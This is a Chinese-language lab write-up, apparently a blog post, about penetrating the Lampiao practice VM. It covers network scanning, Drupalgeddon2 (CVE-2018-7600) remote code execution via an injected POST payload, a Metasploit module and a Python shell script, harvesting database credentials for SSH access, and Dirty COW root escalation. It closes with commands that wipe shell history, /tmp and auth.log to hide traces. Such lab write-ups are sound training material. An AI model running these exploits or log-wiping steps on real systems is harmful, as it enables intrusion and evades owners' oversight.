当前位置: 首页 > news >正文

从信息收集到Root权限:一次完整的Lampiao靶机渗透实战解析

1. 环境准备与信息收集

第一次接触Lampiao靶机时,我习惯性地先搭建了一个隔离的测试环境。建议使用VirtualBox或VMware创建一个独立的NAT网络,把Kali攻击机和Lampiao靶机放在同一个网段。这里有个小技巧:在VirtualBox的全局设置里创建专用NAT网络,能避免干扰真实网络环境。

ifconfig确认Kali的IP后,开始扫描同网段存活主机。很多人喜欢直接用nmap -sP,但我更推荐这个组合命令:

arp-scan -l --interface=eth0 | grep -v "DUP"

它能快速列出活跃IP且避免重复结果。最近一次测试中,我发现靶机IP是192.168.56.103,这个结果比传统Ping扫描更可靠,特别是在某些禁Ping的环境。

接下来用半开放扫描探测开放端口:

nmap -sS -T4 --min-rate 1000 -p- 192.168.56.103

参数解释:

  • -T4:加速扫描(我的老笔记本扛不住T5)
  • --min-rate 1000:每秒至少发1000个包
  • -p-:全端口扫描

扫描结果显示80和1898端口的HTTP服务最有价值。这里有个细节:1898端口的服务头显示是Apache/2.4.18,而80端口是Nginx,这种混合Web服务器配置往往藏着配置漏洞。

2. Web渗透与初始突破

访问1898端口发现Drupal 7.54,这个版本存在著名的Drupalgeddon2漏洞(CVE-2018-7600)。我试过三种利用方式:

手动验证漏洞:在用户注册页注入:

POST /?q=user/register HTTP/1.1 ... form_id=user_register_form&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

如果返回uid信息,说明存在RCE漏洞。

MSF自动化利用:

use exploit/unix/webapp/drupal_drupalgeddon2 set RHOSTS 192.168.56.103 set RPORT 1898 set TARGETURI / exploit

实测发现需要调整targeturi参数为"/"才能成功,这是很多教程没提到的坑。

手工利用脚本:我修改了公开的Python脚本,添加了交互式shell维持功能:

import requests from cmd import Cmd class Terminal(Cmd): prompt = 'Drupal> ' def default(self, args): resp = requests.post(target, data=payload.format(args), verify=False) print(resp.text.split('<!--')[0]) payload = {'form_id':'user_register_form', 'mail[#type]':'markup', 'mail[#markup]':'{}', ...} terminal().cmdloop()

3. 横向移动与凭证获取

拿到www-data权限后,我习惯先做这几件事:

  1. 升级shell:python3 -c 'import pty;pty.spawn("/bin/bash")'
  2. 检查sudo权限:sudo -l
  3. 查找配置文件:find /var/www -name "settings.php"

在/var/www/html/sites/default/settings.php中发现数据库凭证:

$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'drupaluser', 'password' => 'Virgulino', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', ), ), );

用这个密码成功SSH登录系统用户tiago:

ssh tiago@192.168.56.103 # 密码Virgulino

4. 内核提权实战

查看内核版本:uname -r显示3.13.0-32-generic,正好在脏牛漏洞影响范围内。我测试了两种提权方法:

方法一:MSF编译上传

searchsploit dirty # 找到40847.cpp upload /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp g++ -Wall -pedantic -O2 -std=c++11 -pthread -o cow /tmp/40847.cpp -lutil ./cow

执行后会自动把root密码改为dirtyCowFun,实测成功率90%。

方法二:手动编译遇到g++缺失时,可以这样解决:

# 靶机上: nc -lvp 4444 > dcow.tar.gz # Kali上: tar czvf dcow.tar.gz 40847.cpp nc 192.168.56.103 4444 < dcow.tar.gz # 靶机解压后: make ./dcow

这种方法的优势是不依赖g++,直接用make编译。

提权成功后,记得清理痕迹:

history -c rm -rf /tmp/* echo "" > /var/log/auth.log

整个渗透过程最耗时的其实是信息收集阶段,约占总时间的60%。建议新手重点关注Nmap的高级用法和Web目录爆破技巧,比如用gobuster时加上-x php,html,txt扩展名参数能显著提高效率。

http://www.jsqmd.com/news/639958/

相关文章:

  • 手把手教你为Kinova机械臂创建Rviz可视化Launch文件(从Xacro到3D模型全流程)
  • OneNote到Markdown终极转换指南:免费工具实现知识库无缝迁移
  • 终极指南:如何离线退出Windows Insider预览计划
  • 盘点2026江苏农产品批发市场,江苏名仁农业口碑和环保靠谱吗 - 工业设备
  • DIY高速脉冲发生器:3种实用方案对比与实战指南
  • 一个运维的AI转型实录:从手动部署到云原生,踩了这些坑
  • BiliDownloader:3分钟掌握B站视频下载的终极解决方案
  • HagiCode Soul 平台技术解析:从需求萌发到独立平台的演进之路爸
  • 2026最值钱的10个软件开发技能,你掌握几个?
  • MQTTX
  • U盘与SD卡加密全攻略:从压缩加密到VeraCrypt实战
  • WeChatMsg:打造属于你的微信聊天数字档案馆
  • WSL2子系统备份与还原的实战指南
  • 如何快速上手MelonLoader:Unity游戏模组加载的完整入门指南
  • Copilot Pro 300次/月配额根本不够用?2026年Java程序员的应对策略
  • 涡度通量塔数据 MATLAB 全流程实操:质控、插补、拆分与多维度分析
  • 【2026版附安装包】超详细Wireshark下载与安装教程,wireshark抓包及分析使用指南
  • 2天制备活性膜蛋白!请查收这份药物研发破局方案 - 上海曼博生物
  • LyricsX:让Mac桌面歌词显示变得简单高效的终极方案
  • 5分钟掌握网易云音乐插件安装:BetterNCM Installer终极指南
  • Maxwell永磁体仿真避坑指南:如何正确设置Br/Hc参数获得准确磁力结果
  • 你的音乐需要完美歌词同步吗?歌词滚动姬让制作变得如此简单
  • Syncthing Android:打造你的私有云文件同步系统
  • 2026EDA工具国产替代推荐:EDA 工具国产替代优势有哪些? - 品牌2026
  • 5大核心功能解析:如何用Cyber Engine Tweaks彻底改变你的赛博朋克2077游戏体验
  • 沉降数据智能反演工具|输入单期实测值,全自动推算全周期沉降序列
  • 西安交通大学学位论文LaTeX模板终极指南:告别格式困扰,专注学术创新
  • 不只是安装:用JMAG-Designer Express快速上手你的第一个电机仿真项目
  • Windows系统下高效管理Go多版本:g工具实战指南
  • 揭秘SITS2026真实案例:如何用多模态搜索将电商搜索转化率提升217%?